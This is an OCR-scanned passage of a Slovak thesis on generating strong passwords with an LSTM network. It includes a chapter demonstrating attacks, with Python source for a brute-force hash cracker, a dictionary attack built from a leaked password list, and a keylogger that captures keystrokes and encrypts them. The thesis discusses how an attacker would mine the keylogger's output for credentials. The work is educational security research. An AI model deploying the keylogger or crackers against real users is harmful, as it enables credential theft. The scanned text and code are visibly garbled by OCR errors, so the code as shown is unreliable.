nemusi byt’ schopny dodrzat’ rozne pravidla pre bezpeéné hesld ako su dizka a podobne, ¢o

by mohlo viest’ ku generovaniu slabych hesiel.

VAE je model vyuzivany hlavne na generovanie novych vzorkov dat interpolaciou medzi
existujicimi datami, avSak tento model by mohol mat’ problém s naucenim sa generovat’
nové hesla spliujice pozadované normy a komplexnost. VAE ¢asto generuje data, Ktoré

st blizke datam trénovacej mnoziny, ¢o by mohlo viest’ k opakovaniu hesiel.

GAN je oproti tymto modelom primarne vyuzivany na generovanie obrazkov, zvukov
atextov, kde je dOlezité zachovanie distribucie dat. Generovanie hesiel vyzaduje
dodrziavanie pravidiel a obmedzeni, ako je komplexnost’ hesla pouzitim viacerych mnozin

znakov alebo diZzka, s ¢im by mohol mat GAN problém.

LSTM poskytuje kontrolu nad procesom generovania a umoziuje generovat’ hesla

v roznych dizkach a podobne. Hesla st sekvencie znakov a LSTM je prave navrhnuté na
pracu so sekvenciami a u¢enie sa z nich. To moZe viest k lepsim vysledkom pri samotnom
generovani. Okrem iného je LSTM efektivne na trénovanie aj s mensim mnozstvom dat.
Co je v tomto pripade vel'mi vyhovujuce, nakol’ko nie je k dispozicii velka datova sada,
vel’ky vypocétovy vykon a viac¢Sie mnozstvo ¢asu. Na rozdiel od GAN a VAE, ktoré sa
snazia naucit sa distribliciu dat a generovat’ podobné, pri LSTM takéto ucenie nie je
potrebné. LSTM moze byt taktieZ menej naro¢né na vypocty [69], ¢o mdze byt vyhodné

pre zariadenia s obmedzenymi vypoctovymi prostriedkami.
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Pri zvazeni vlastnosti jednotlivych modelov, model LSTM vych&dzal z kandidatov

najlepsie a preto bol v d’alsich ¢astiach prace pouzity prave on.
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5 TRENOVANIE GENERATIVNEHO MODELU

5.1 Moznost’ pouzitia existujucich datovych sad

V rdmci trénovania modelu bolo prvou mySlienkou pouzit' existujuce datoveé sady
S bezpe¢nymi heslami. Po prehl'adavani online zdrojov bolo pridené k zaveru, ze datové
sady obsahuju hesla ziskané z réznych unikov dat, ¢o znamena, ze zd’aleka nie vSetky
hesla st bezpecné. Jedna sa predovsetkym o hesla, ktoré Casto vytvarali bezny pouzivatelia
bez povedomia o kybernetickej bezpeCnosti a Ze sa jedna o hesla, ktoré boli uniknuté
vramci viacerych data breaches. Data breach oznaCuje situaciu, kedy déjde
k neopravnenému odcudzeniu osobnych dat, v tomto pripade prave hesiel. Medzi zoznam

tychto uniknutych hesiel patri napriklad aj 10-million-password-list-top-1000000. [63]

Tato datova sada obsahuje uniknuté hesla, z ktorych je vd¢sina z bezpe¢nostného hl'adiska
nepouzitel'na. Po vyfiltrovani by vSak Cast’ tychto hesiel mohla posluzit’ k ii¢elom ucenia

modelu.

Upravy by mali zahffiat kroky ako odstranenie slov obsahujucich slovnikové vyrazy,
vybratie hesiel s dostatoénou dizkou a entropiou, pouZitim viacerych mmnoZin znakov

a podobne. Pre tcely tohoto ,.filtrovania‘“ bol vytvoreny skript, ktory funguje takto.
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from zxcvbn import zxcvbn
import math
import re

with open("18-million-password-list-top-1ee0888.txt", "r", encoding="utf-8") as f:
passwords = f.readlines()
passwords = [password.strip() for password in passwords]

def has_required_characters(password):

return bool{re.search(r'[A-Z]", password)) and bool(re.search(r'[a-z]", password)) and
bool{re.search(r'\d', password))
filtered passwords = [password for password in passwords if zxcvbn(password)['score'] == 4 and

has_required characters{password)]

def shannon_entropy(password):

entropy = @

for char in set(password}:
p = password.count(char) / len(password)
entropy -= p * math.logz(p)

return entropy

filtered_passwords_entropy

= [password for password in filtered passwords if
shannon_entropy{password) »>= 2.@]

with open("filtered million_p

_passwords.txt"”, "w", encoding="utf-8") as f:
for password in filtered_p

5=
asswords_entropy:

f.write({password + "\

Obrazok 58. Skript pouzity na filtrovanie hesiel z datovej sady [zdroj vlastny]

Najskor nacita cely subor datovej sady, teda 10-million-password-list-top-1000000.txt,
ktory nacita s kddovanim utf-8, nasledne odstrani tzv. whitespaces na zaciatku a konci

a prejde k Uprave.

Pomocou nastroja zxcvbn ohodnoti heslo a akceptuje len také, ktoré dostalo hodnotenie 4,
¢ize najvysSie mozné. Toto zabezpeci vyfiltrovanie hesiel obsahujicich slovnikové vyrazy
a hesla s nedostatoénou dizkou. Dalsim fitrom je funkcia has_required_characters, ktora
v danom hesle skontroluje ¢i obsahuje viacero mnozin znakov, konkrétne vel'ké pismena,
malé pismena a &isla. Ak toto heslo spiiia, je uloZené do premennej filtered_passwords.
Potom je prevedend d’alsom kroku filtrovania pomocou vypoétu Shannonovej entropie
hesla, kde je overené ¢i je tato entropia vysSia alebo rovna 3. Tato hodnota odpoveda
napriklad heslu ,Fqlr3d2!“. Ktoré¢ sice neméd dostatoc¢nu dizku, ale je dostato¢ne
komplexné, vyuzivajice velké, malé pismena, ¢isla aj Specialny znak. V spojeni
s ostatnymi prvkami filtrovania by tak malo byt zabezpecené vybratie dostatocnych hesiel

z datovej sady. Po vyfiltrovani teda hesla vyzeraji nejako takto.
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& PasswordsFilter.py PasswordFilter\fittered_million_passwords. bt

Obrazok 59. Vyfiltrované hesla z datovej sady [zdroj vlastny]

Z obrazku vysSie je patrna absencia Specialnych znakov, ¢o by mohlo v kontexte
komplexity oproti heslam vyuzivajicim tuto mnozinu znakov pdsobit’ nedostatocne.
Dalsim faktom je, Ze tieto hesld pochadzaju z datovej sady uniknitych hesiel, teda
nemozno plne preukazat’ ich bezpec¢nost. Preto bola v d’alsom kroku vytvorena datova
sada, ktora by mala spinat’ prisnejsie poziadavky. Nasledne s vysledky modelov uéenych

na tychto dvoch datovych sad porovnané.

5.2 Tvorba datovej sady

Nakol'ko pokusy v hladani datovej sady obsahujuceho ,len“ bezpeéné hesla neboli
Uspesné, bolo nutné vytvorenie vlastnej datovej sady, minimalne ako ,,zaruku kvality®,

ked’Zze prva datova sada nemusi obsahovat’ bezpeéné hesla. Vyhodou modelu LSTM je
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schopnost’ u€it’ sa aj z mensieho poctu dat, ¢o je v tomto pripade vel'mi vyhovujace. Postup
pri vytvoreni datovej sady bol generovanie hesiel pomocou uZ existujucich rieSeni
rozobranych v kapitole 2. Do datovej sady teda boli zbierané hesla, klasifikované tymito
rieSeniami ako bezpetné, ¢im by mala byt zabezpedené ucenie modelu z vyhovujlcich

hesiel.
Pre ucely ucenia bola zhotovena datova sada obsahujuci 5000 takychto hesiel.
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Obrazok 60. Ukazka vytvorenej datovej sady s heslami [zdroj vlastny]

Dal$ou vhodnou vlastnostou LSTM je ucenie sa zo sekvencii znakov. To znamena, ze nie
je nutné mat’ zahrnuté hesla s variabilnou dlzkou. Model sa nauc¢i na sekvenciach znakov,

a potom dokaze generovat hesla prakticky l'ubovolnej dizky.

5.3 Ucenie modelu na datovej sade bezpe¢nych hesiel

Samotné ucenie prebicha takto. Na zaciatku sa data nacitavaju zo suboru "dataset.txt"
a pomocou Upravy su odstranené prazdne riadky. Nasledne sa realizuje transformovanie

znakov na Cisla, kde sa vSetky jedine¢né znaky ziskaju zo sady dat a usporiadaju tak, ze
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kazdy znak je priradeny k jedine¢nému ¢islu a tym sa vytvori mapovanie medzi znakmi a

ich ¢iselnou reprezentaciou.

V d’alSom kroku sa data normalizuju do rozsahu 0 az 1 pomocou MinMaxScaler. Déta sa
pripravuju pre trénovanie modelu a sekvencie dét si vytvorené so $pecifikovanou dizkou.
Taktiez sa priradia vstupy a vystupy pre trénovanie modelu LSTM. Sekvenény model je
vytvoreny pomocou Keras kniznice a obsahuje dve vrstvy LSTM s 128 jednotkami a jednu

plne prepojent vrstvu na vystup, ktora pouziva softmax aktivaciu.

Model je potom skompilovany so stratovou funkciou ‘categorical_crossentropy' a
optimaliza¢nym algoritmom 'adam’. Nasledne je model trénovany pomocou funkcie fit s

urc¢enym poctom epoch, velkostou davky a podielom validacie.

V ramci prvého testu bol model u¢eny s tymito parametrami. Pocet epoch = 1000, velkost’
davky = 64 a podielom valida¢nych dat = 0,2 ¢o znamena, ze 20% dat je pouzitych na

validaciu a 80% na trénovanie.
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Obrézok 61. Train loss pre 1000 epoch u¢enia modelu [zdroj vlastny]
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Obrazok 62. Train accuracy pre 1000 epoch uc¢enia modelu [zdroj vlastny]

Po vykonani u¢enia modelu na 1000 epochéch je viditeIné postupné zvol'nenie narastania
trénovacej presnosti. Pricom ku koncu je na hodnote priblizne 0,26. Co sa tyka straty

trénovania, ta klesla z hodnoty cca 4,3 na hodnotu okolo 2,9.

V d’alsom kroku suU natrénovanym modelom vygenerované hesla aich sila je overena
rovnakym postupom ako pri analyze existujicich rieSeni. Vygenerovanych bolo teda 20

hesiel. Podrobna sprava z tejto analyzy je dostupna v kapitole 6.2.

V rdmci druhého testu bol model uéeny s tymito parametrami. Pocet epoch = 2500, ostatné

parametre ostan( rovnakeé.

Pri tejto variante bolo dosiahnuté vylepSenie oproti 1000 epocham. AvSak napredovanie
rastie tak pomaly, ze pridavat’ viac epoch uz nema vyznam, nakolko ¢as potrebny na

trénovanie takto vel'kého poctu epoch je neimerny dosiahnutym vysledkom.
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Obrazok 63. Train loss pre 2500 epoch uc¢enia modelu [zdroj vlastny]
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Obrézok 64. Train accuracy pre 2500 epoch ucenia modelu [zdroj vlastny]

Pri tychto nastaveniach bola strata u¢enia zniZzena na hodnotu priblizne 2,7. Pri presnosti
trénovania sa hodnota blizila k hodnote 0,31. Pre tento natrénovany model su tak isto

vytvorené a zvalidované hesla, ktoré vygeneroval, opét’ dostupné v kapitole 6.2.
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5.4 Ucenie modelu na filtrovanej datovej sade uniknutych hesiel

V tomto pripade bol postup rovnaky ako v predoslej kapitole s jedinym rozdielom a tym
bolo vymenenie datovej sady. Pri tomto pripade bola pouzita vyfiltrovana datova sada
uniknutych hesiel, podrobnejsie popisana Vv kapitole 5.1. Tato datovd sada obsahovala
o necelych 4000 hesiel viac ako druhd spominana, to ma za nasledok vyssiu pociato¢nu

hodnotu train_loss.

Krivka uéenia ma vSak podobny charakter, kde zo zaciatku prudko klesa a s pribldajdcim

poctom epoch sa pokles spomal’uje, pricom na konci dosahuje hodnotu cca 3.25.

—— train_loss
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Obréazok 65. Train loss pre uéenie modelu na datovej sade uniknutych hesiel [zdroj
vlastny]

Priebeh presnosti ucenia ma taktieZ podobny charakter ako model uceny na druhe;j
datovej sade. Jeho hodnota sa na konci dostane na uroven cca 0,175. Toto nizsie Cislo

moze mat’ tieZ suvis s Vac§im mnozstvom hesiel v datovej sade.
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Obrazok 66. Train accuracy pre u¢enie modelu na datovej sade uniknutych hesiel [zdroj
vlastny]

Po nauceni tohoto modelu bol vysledok resp. hesla vygenerované tymto nau¢enym
heslom analyzované. Taktiez bolo vykonané porovnanie s heslami vygenerovanymi

modelom ué¢enym na datovej sade bezpeénych hesiel.
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6 VYHODNOTENIE BEZPECNOSTI

6.1 Prakticka ukazka atokov na hesla

V tejto Casti sU podrobnejSie rozpisané a demonstrované zakladné formy utokov na hesla.
6.1.1 Brute Force

6.1.1.1 Ukdzka ¢innosti algoritmu Brute-Force Utoku

Ked'ze vic¢sina hesiel v dne$nej dobe nebyva ukladana vo forme prostého textu, ale vo
forme hashov, tento typ zakladnej ochrany hashovanim bol implementovany aj v tejto
ukazke. Prezentovana bola pritomnost’ hashovej funkcie MD5 a SHA256. Nakolko prave
toto su jedny z najpouzivanejSich hashovacich funkcii, aj ked MDS5 uz nie je

doporucovana.

Naprogramovana ukézka ttoku funguje nasledovne. Po spusteni sa zobrazi pole na zadanie

hashu, ktory chceme metddou Brute-Force prelomit’.

rojects\pythonProject\venvy

Obrazok 67. Zadanie ciel'ového hashu pre Brute-Force Utok [Zdroj vlastny]

Dalsim krokom je teda zadanie hashu hesla, ktoré chceme prelomit’. Toto sa da realizovat
jednoducho pomocou mnozstva dostupnych nastrojov. Je zvoleny typ hashovacej funkcie
a zadané pozadované heslo. Nésledne je vygenerovany Hash, ktory moze byt vloZeny na

vstup programul.
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SHA256

This SHA256 online tool helps you calculate hash from string or binary. You can input UTF-8, UTF-16, Hex to SHAZ256. It also
supports HMAC.

Input Type  UTF-8 v

[J Remember Input

[ Enable HMAC

Hash [ Auto Update

I 3f3bB8ecab2c21d76256e6e1d0bBbT99f4efbe37664335b7214163a8Fc58dba I

Obrazok 68. Vytvorenie hashu na vstup Brute-Force utoku. [Zdroj vlastny]

Po vloZeni hashu na vstup programu a spusteni sa za¢ne vykonavat’ samotny brute-force

utok. Po skondeni sU zobrazené data, ktoré Utok zistil.

Obrazok 69. Vysledok Gtoku Brute-Force 1 [Zdroj vlastny]

Ako je teda z vysledkov badatelné, takto jednoduché heslo, aj napriek tomu, ze bolo
hashované pomocou jednosmernej hashovacej funkcie SHAZ256, sa algoritmu podarilo
desifrovat’ za 2.15 sekundy. Taktiez bola zobrazena pouzita hashovacia funkcia, teda
SHA256, pocet pokusov potrebny na ndjdenie hesla, o je viac ako jeden milion,
a samozrejme najdené spravne heslo ,,ahoj“. Toto heslo je ale nebezpecné a nemalo by sa

pouzivat, preto je v d’alsom kroku ukdzany utok, na trocha lepsie heslo.
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SHA256

This SHA256 online tool helps you calculate hash from string or binary. You can input UTF-8, UTF-16, Hex to SHA256_ It also
supports HMAC.

Input Type  UTF-8 v

[J Remember Input

J Enable HMAC

Hash | [ Auto Update

Ic?f?8e7?29? 2f447794836c4a7Baelf4aa87dc@8d96772d4f811595eab3a 3e5g

Obrazok 70. Ziskanie Hashu SHA256 ,,lepSicho* hesla [Zdroj vlastny]

Tento hash je znova privedeny na vstup programu a je spusteny algoritmus Gtoku Brute-

Force.

Obrazok 71. Vysledok Brute-Force 2 [Zdroj vlastny]

Po skonceni utoku je na prvy pohl'ad badatel'né, Ze utok trval mnohonasobne dlhsiu dobu
napriek tomu, e dizka hesla sa zvysila len o 2 znaky, teda z 4 na 6 znakov. Toto tak moze
dostato¢ne naznacit kriticki doleZitost' pouzitia nielen komplexnejSieho, ale hlavne
dlhSieho hesla. Kym prvé z hesiel trvalo rozlistit” 2 sekundy, toto heslo trvalo az 22479
sekdnd, ¢o je zhruba 6 hodin a 15 minudt. A pocet pokusov vzrastol z cca jedného miliona
na 3,85 miliardy.
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6.1.1.2 Rozbor kddu algoritmu Brute-Force Utoku

Na zaciatok je potrebné prezriet’ si vstupné parametre, ktoré vel'a vypovedaji o nastaveni

algoritmu, a teda aj jeho schopnostiach a potencialnych obmedzeniach Gtoku.

import hashlib
import itertools
import time

def fcheck hash(password, target hash, hash algorithm):|
if hash_algorithm == "md5":
computed_hash = hashlib.mds(password.encode()) . hexdigest()
elif hash_algorithm == "sha258":
computed_hash = hashlib.sha25&(password.encode()) . hexdigest()
return computed_hash == target_hash

def |brute force attack({target hash, character set, max length]:l
attempts = @
for password_length in range(l, max_length + 1):
for candidate in itertools.product{character_set, repeat=password_length):
password = "'.join{candidate)
for hash_algorithm in ["mdS", "=ha25&"]:

return password, sttempts, hash_algorithm
attempts += 2 # Pokusy pre oba algoritmy
return Mone, attempts, MNone

target_hash = input({“Zadajte cielovy hash pre prolomenie: ™)

Obrazok 72. Kéd Brute Force Gtoku 1. [Zdroj viastny]
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target_hash = input(“"Zadajte cislovy hash pre prolomenie: ™)

# Znakova sada
character_set = "812345678%abcdefghijklmnopgrstuvwxyz”

max_length = &

start_time = time.times()

attempts, hash_slgorithm =[brute force sttackf target_hash, character_set,
max_length)

end_time = time.time()
elapsed_time = end_time - start_time

if] found password: |
print{f"Sprévné heslo: {found_password}")
print{f"algoritmus hashovania: {hash_algorithm}")
else:
print{“"Heslo nebolo najdené.™)

print(f"Pofet pokusov: {attempts}")
pri’t(f"iss trvania: {elapsed _time:.2f} sekundy™)

Obrazok 73. Kad Brute Force atoku 2. [Zdroj vlastny]

Na predoslom obrazku su viditeI'né premenné, ktoré program vyuziva, teda target _hash,
kde je uloZeny zadany Hash zo vstupnej konzoly. Character_set, tu sU zobrazené mnoziny
znakov, ktoré su prehl'adavané. Podl'a dnesnych Standardov by mala tato mnozina zahfiat’
okrem malych pismen a ¢isiel minimalne velké pismena, pripadne Specialne znaky, aby
bola zaistend maximalna mozna komplexnost’ pri hl'adani hesla. Toto by vsak vyrazne
predizilo ¢as potrebny na najdenie hashu, ¢o je v principe tejto ukazky zameranej na
pochopenie fungovania zbytoéné. Dal§im takymto parametrom je max_length. V redlnom
svete by bolo idedlne nastavit dizku hesla aspoit na 12 znakov, aviak kvoli malému
prinosu pre pochopenie fungovania, je v tejto ukazke pouzita niz$ia hodnota. Start_time,
end_time a elapsed_time slizia len na zavereény vypoc¢ed doby behu programu. Nakoniec
najzaujimavejSia Cast. Premenné found_password, attempts a hash_algorithm su ziskané

z vystupu funkcie brute_force_attack, do ktorej vstupuju vyssie zmienené parametre.

V tychto funkciach je ukryté jadro celej funkcionality. Funkcia brute force attack je
klicova. itertools.product(character_set, repeat=password_length) generuje vsetky

mozné kombinécie hesiel na zaklade danej mnoZziny znakov character_set a dizky hesla
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password_length. Kde Candidate predstavuje aktudlne kandidatske znaky, z ktorych sa
nasledne vytvara retazec password spojenim prvkov zcandidate pomocou

Join(candidate).

for hash_algorithm in ["'md5", "sha256™] nasledne pre kazdy vygenerovany retazec hesla
iteruje cez zoznam hashovacich algoritmov, v tomto pripade MD5 a SHA256.

if check_hash(password, target _hash, hash_ algorithm):: Tato podmienka vola funkciu
check hash, aby overila, ¢i vypocitany hash hesla zodpoveda cielovému hashu. Ak ano,
vrati spravne heslo, pocet pokusov a pouzity hashovaci algoritmus.. Vo funkcii check_hash
sa teda spravi len jednoduché porovnanie vypocitaného hashu z hesla a vstupného hashu,
ak sa tieto zhoduju, naslo sa spravne heslo a program postupi k vypisu dat. V tejto Casti
program vypisuje zistené hodnoty. Ak je najdené vyhovujace heslo, toto je vypisané spolu
s najdenym hash algoritmom. Ak by ale program bezvysledne presiel vSetky moZnosti bez
Uspechu, vypise do konzoly informaciu o neuspechu. Na konci st eSte vypisané pokusy

a potrebny Cas, aby pouzivatel’ dostal aj tieto informacie o behu Utoku.

6.1.2 Slovnikovy Gtok

Slovnikovy atok je druh dtoku, na ktory je potrebny slovnik predpripravenych Gdajov.
V tomto pripade to je zoznam znamych a uniknutych hesiel, spolu s ich Hash hodnotami.
Tento typ utoku je znacne rychlejsi ako Brute-Force. Avsak nezarucuje najdenie vsetkych

moznosti.

6.1.2.1 Pripravenie slovnika pre utok

Na variantu utoku, ktord bola demonstrovana, je potrebné pripravit' si tabulku (slovnik)
hashov vo vyhovujucej forme. Na to aby hashe hesiel mohli byt vytvorené, je nutné ziskat’
tabulku uniknutych znamych hesiel, z ktorych bol vypocitany Hash, ktory bol nasledne
porovnavany. Tento krok je mozné obist’, pretoZze st dostupné aj tabulky obsahujuce uz

hotové Hashe, avSak pre ukdzku fungovania budu vypocitané.
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Obrazok 74. Zisk tabul’ky znamych hesiel [41]

V tomto pripade bol pouzity zoznam 100000 hesiel, kazdé v novom riadku. Pre

pozadovanu podobu je ale eSte nutna jeho uprava nasledovne.
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import hashlibk
import cswv

vstupny_subor = "18-million-password-list-top-leeoaa.txt"”
vystupny_subor = "words_with_hashes.csv"

data = []

neplatne_znaky = []

with open{vstupny subor, 'r', encoding="utf-3', errors="ignore’} as file:
# Pre kaidy riadok vo vstupnom sidbore
for line in file:
line = lime.strip()
hash_walue = hashlib.sha256({line.encode( 'utf-8")).hexdigest()
data.append([line, hash_value])

if len{line) < len({line.enceds('utf-8', errors="ignore’)):
neplatne_znaky.append({line)

with open{vystupny_subor, 'w', newline='"', encoding='utf-8') as file:
writer = csv.writer(file)
writer.writerow([ "slovo', ‘Hash'])
writer.writerows(data)

print{f"Hashy boli dspeine uloZené do sdborue '{vystupny subor}®.™)

if neplatne_znaky:
print{f"Vynechané slovd obsahovali neplatné znaky: {neplatne_znakyl™)

Obrazok 75. Vypocitanie hashu pre kazdé heslo [Zdroj vlastny]

V tejto Casti je realizované jednoduché otvorenie suboru s heslami a prechadzanie kazdého
riadku v cykle. Tento riadok sa od¢isti od tzv. whitespaces na konci a na zac¢iatku a vypocita
sa jeho hash pomocou algoritmu SHA256, ten sa potom vlozi do zoznamu data. Je pridané
aj oSetrenie proti nevalidnym znakom, ak by sa ndhodou nejaké vyskytli. Nasledne je
otvoreny vystupny subor vo formate csv, do ktorého je cely vysledok vo forme heslo, hash

zapisany.



UTB ve Zliné, Fakulta aplikované informatiky 114

@ create_hashes.py

Obrazok 76. Vysledna pripravena tabul’ka hashov a hesiel [Zdroj vlastny]

V d’alSom kroku bol simulovany samostatny utok. Ako uz bolo uvedené vyssie, hesld sa
neukladaju vo forme otvoreného textu, ale vo forme hashu, preto je aj tento Gtok
simulovany tak, aby na vstupe prijimal Hash hesla azneho sa snazil pomocou

predpripraveneho slovniku odvodit” skuto¢né heslo.

Pre tento pripad bolo zvolené heslo ,,qaz123wsx“, ktoré je uz na prvy pohlad silnejsie ako

hesla, prelomené Brute-Force utokom. Preto by tento Utok v tomto pripade nebol prili§
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uzito¢ny.

Obrézok 77. Vyber hesla pre slovnikovy Gtok [Zdroj vlastny]

Bol teda vybrany jeho hash, ktory je ,,akoze* zachyteny a moze tak predstavovat jedint
dostupnu informaciu, ktorou uto¢nik disponuje. Ked’ze Hash funkcie su jednosmerné
a neda sa od vystupu odvodit’ vstup.. Sposob ako sa dostat’ k originalnemu heslu, moze

byt’ prave tento ttok.

Obréazok 78. Uspesny utok na heslo pomocou slovnika [Zdroj vlastny]

Ako je z vysledku badateI'né, po zadani hesla bolo takmer okamzite najdené spravne heslo.
Tento tdaj moze trochu skreslovat’ nakol’ko sa jedna len 0 sto tisic hesiel. Pre realne Gtoky

sa pouzivaji omnoho rozsiahlejSie sibory hesiel, ktoré mozu zabrat’ dlhsi Cas.

6.1.2.2 Rozbor kdédu slovnikového tGtoku

Princip tohoto utoku je jednoduchy, jedna sa len o porovnanie ziskaného Hashu s Hashom
zo slovnika. Ak sa njde zhoda, je jasné, ze Hash zodpoveda heslu, ktoré ma dany hash

digest a teda moze byt povazované za prelomené.
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import csv

def freats dictionary from csv{csv file)|;
dictionary = {}
with open(csv_file, "r', newline=""', encoding="utf-8") as file:
reader = csv.reader(file)
next(reader) # Preskofime hlavifku CSV souboru
for row in reader:
word, hash_value = row
dictionary[hash_wvalue] = word
return dictionary

deflsimulate paszword attack(hazh to crack, dictionar
if hash_to_crack in dictionary:
return dictionary[hash_to_crack]
slse:
return MNone

csv_file = "words_with_hashes.csv"
dictionary = freate_dictlonary_trom_csv(cswv_tile)]

input_hash = input(“Zadajte hash hesla k prelomeniu: ™)
cracked password = fimulate_password attack{input_hash, dictionary)|
if cracked password 1s not None: - -
print{f"Obnovené heslo: {cracked_password]}™)
else:
print({"Heslo nebole najdené.™)

Obrazok 79. Kdd algoritmu slovnikového Gtoku [Zdroj viastny]

V tomto kode je len jediny pociato¢ny parameter a tym je nazov csv suboru obsahujuci
zoznam hesiel spolu s Hash hodnotami, vytvoreny v predoslom kroku. Nasledne je volana
funkcia create_dictionary_from_csv, kde je nacitany sibor z parametru a potom su
prevedené dodatoéné tpravy, aby vznikol slovnik, ktory ma key je SHA256 a hodnota je

heslo, vid’ obrdzok nizsie.
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mode="r' encoding="utf-8">

Obréazok 80. Uprava formy slovnika pre Gtok [Zdroj vlastny]

Nasledne funkcia simulate_password_attack uz robi len porovnanie hodnoty hashu zo
vstupu s hashami, zo zoznamu. Ak je najdena zhoda, heslo je vypisané do konzoly. Ak by

sa Hash v zozname nenachadzal, vypise do konzoly spravu o netspechu.

6.1.3 Keylogger

Keylogger je Specialny pripad, kedy sa nejedna ani tak o typicky utok, ale skor o
jednoduchy typ malvéru, ktory méze byt nepozornostou pouzivatela zavleceny do PC.
Jeho hlavnou funkciou je odchytavat’ stlacenia klaves. Tieto zachytené data potom mdze
Sifrovat” a posielat’ na server a podobne. V tejto ukazke bol vysvetleny princip fungovania
jednoduchého keyloggeru, ktory sa spusti a po dobu spustenia zachytdva stlacenia
klavesnice, nasledne po vypnuti zachytavacej Casti aplikacie ziskané data zaSifruje a
pripravi na odoslanie. Samotné odoslanie uz v ukéazke nie je nakolko nepredstavuje

dolezity faktor pri pochopeni ¢innosti keyloggeru.
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6.1.3.1 Ukadzka ¢innosti keyloggeru

Ukonéit keylogger

Obrézok 81. Spustenie Keyloggeru a zadanie vstupného textu [Zdroj vlastny]

Po spusteni keyloggeru za¢ni byt zaznamendvané stlacenia klaves. Pre ukaZku je
vpisany text priamo do konzoly, aby bol viditelny pre zaverecné porovnanie so
ziskanym textom. Nasledne ak chce uzivatel’ ukazku keyloggera ukoncit’, staci kliknat
na tlaCitko ,ukoncit keylogger“ Tato viditeIna verzia aplikacie je pouzitd pre

demonstrativne tcely, pri realnom pouziti by aplikacia bezala ako proces na pozadi.

Po ukonceni keyloggeru su zaSifrované data uloZzené do suboru encrypted_data.txt. po
nahliadnuti do tohoto stboru nie je mozné rozpoznat' o aké data sa jednd. Ukazka

Sifrovanych dat je na obrazku nizsie.

ed_data.tet

Obréazok 82. Zasifrované data v subore encrypted_data.txt [Zdroj vlastny]
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V dalSej face je v programe dostupnd moznost’ deSifrovat’ tieto data. Tato Cast’ simuluje
prenesenie dat na stranu Gto¢nika. Kde uz si pomocou kI'a¢a a suboru s datami moze data
roz8ifrovat’ a vyhladat’ v nich citlivé informécie, ako napriklad v tomto pripade heslo.
Ked'ze je tato aplikacia len pre demonstrativne ucely ucely, kl'u¢ je v tomto pripade
dostupny iba pri konkrétnom behu aplikacie a nie je ukladany, pri redlnom pripade je ale

nutné zabezpecit’ prenesenie kI'i¢a k uto¢nikovi.

Zelate si dedifrc

Obrazok 83. Pokracovanie na deSifrovanie dat zachytenych keyloggerom [Zdroj vlastny]

Po zadani vol'by ,,y* sa program posunie do d’alSej funkcionality, ktorou je deSifrovanie.

Na vystupe je teda po deSifrovani pritomny takyto text.

cion Control ~ » Run 2 Python Packages IS TODO %@ Python Console ® Problems B Terminal @ Services

Obrézok 84. Desifrovany log odhal'ujici povodnt spravu s heslom [Zdroj vlastny]

V tomto pripade je log len kratky, no ak by bol spusteny po dlhSiu dobu, mnoZstvo
zachytenych dat by bolo ovela vicSie, Co zna€ne st'azuje hl'adanie zdujmovych dat. Je vSak
mozné vyuzit’ hl'adanie retazcov pripadne vyuZzit' tzv. regexy a dostat’ sa k poZzadovanym,

pre ttoénika zaujimavym datam, ktoré by mohol potencialne zneuzit. Castym pripadom je
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hladanie regexov obsahujucich @, kedze sa jedna o symbol pouzivany v emailoch,
prehl'adanim blizkeho okolia rastie Sanca na najdenie hesla. Ked’Ze pri prihlasovani sa
dvojica prihlasovacie meno je email a heslo pouzivaji spolu, Sanca na najdenie hesla ako

retazca obsahujuceho zabina¢ v okoli stlpa.

Sign In

Not registered yet? Sign Up

Email

Email address

Password

Password

Forgot password?

Obrazok 85. Priklad pouzitia emailu a hesla na prihlasovanie [70]
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6.1.3.2 Rozbor kddu keyloggeru

from pynput.keyboard import Listener

from Crypto.Cipher import AES

from Crypto.Random import get_random_bytes
import tkinter as tk

logged keys = []
def on_press(pressed_key):

logged keys.zppend(stripressed _key))
def =top keylogger():

|5ave_and_encrypt(logged_keysjl 3
FOOL.O=stroy ] ) B

def save_and_encrypt(keys):

# Generovanie AES kliéa
key = get_random_bytes(32)
data = ''.Join(keys)
cipher = AES.new(key, AES.MODE_EAX) A
ciphertext, tag = cipher.encrypt_and digest({data.encode())

with open('encrypted data.txt', "'wb') as file:
file.write{cipher.nonce)
file.writs(tag) 5
file.write({ciphertext)

user_input = input{"\nieldte si defifrovat uloZené ddaje? (y/n): ").lower()
if user input == 'v':
decrypt_data(key}l 6
else: -
print({"Keylogger bol dspeine ukonfeny.™)

Obrazok 86. Kod keyloggeru ¢.1 [Zdroj vlastny]
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Idef decrypt_data(key): 7
# Citanie =zitrovanych ddajov zo sdboru
with open('encrypted_data.txt', 'rb') as file:
nence = file.read(16)
tag = file.read(16)
ciphertext = file.read()

# Desifrovanie yddadoy pomocoy AFS
C

ipher = AES.new(key, AES.MODE_EAX, nonce) 8
decrypted_data = cipher.decrypt_snd_verify(ciphertext, tag)

print{"Defifrované ddaje:", decrypted_data.decod=())

rooct = tk.Tk()
roct.title("Keylogger")
stop_button = tk.Button{root, text="Ukonfit keylogger",Icnmmand=5tap_keylaggerh 2
stop_button.pack() 1

with Listener(ppn_press=on_presg) as listener:
print("KeyIOgEer J& arLLiuny. )
root.mainlocp()

Obrazok 87. Kod keyloggeru €. 2 [Zdroj viastny]

Na zaciatku su importované kniznice sluziace na Citanie klavesnice a Kryptograficka
kniznica Crypto sliziaca na Sifrovanie, deSifrovanie a generovanie kl'uca. Tato kniznica
pochadza z balika PyCryptodome [60], ktory sa inStaluje pomocou prikazu pip install
pycryptodome.

Samotny keylogger je spusteny pomocou Listeneru a funkcie on_press zvyraznenej pod
Cislom 1. Tato funkcia spusti zarovenn aj hlavny cyklus root Ul okna sliziaceho na
ukoncenie keyloggeru oznacena Cislom 2. Po kliknuti na spominané tlacidlo je zavolana
funkcia stop_keylogger. V tejto funkcii je zavolana d’alsia funkcia a to save_and_encrypt,
zvyraznena pod ¢islom 3, Ktora ako uz nazov napoveda, slizi na Sifrovanie dat pomocou
AES aulozenie do suboru encrypted data.txt. V bloku oznacenom ¢islom 4 vytvara sa
nova inStancia AES Sifry s danym kl'icom (key) a rezimom zaSifrovania/odSifrovania (v
tomto pripade AES.MODE_EAX). Rezim AES.MODE_EAX zabezpecuje spravnu ochranu
proti utokom na Sifrovaci blok. Funkcia encrypt_and_digest() Sifry cipher $ifruje zadané
data (data.encode()) a stucasne vypocita autentifikaény tag Message Authentication Code
pre overenie integrity dat. V bloku ¢islo 5 st data zapisované do stboru s parametrom
(‘'wb'), ¢o znamena, Zze data budi zapisované v binarnom mode, o je potrebné pre zapis

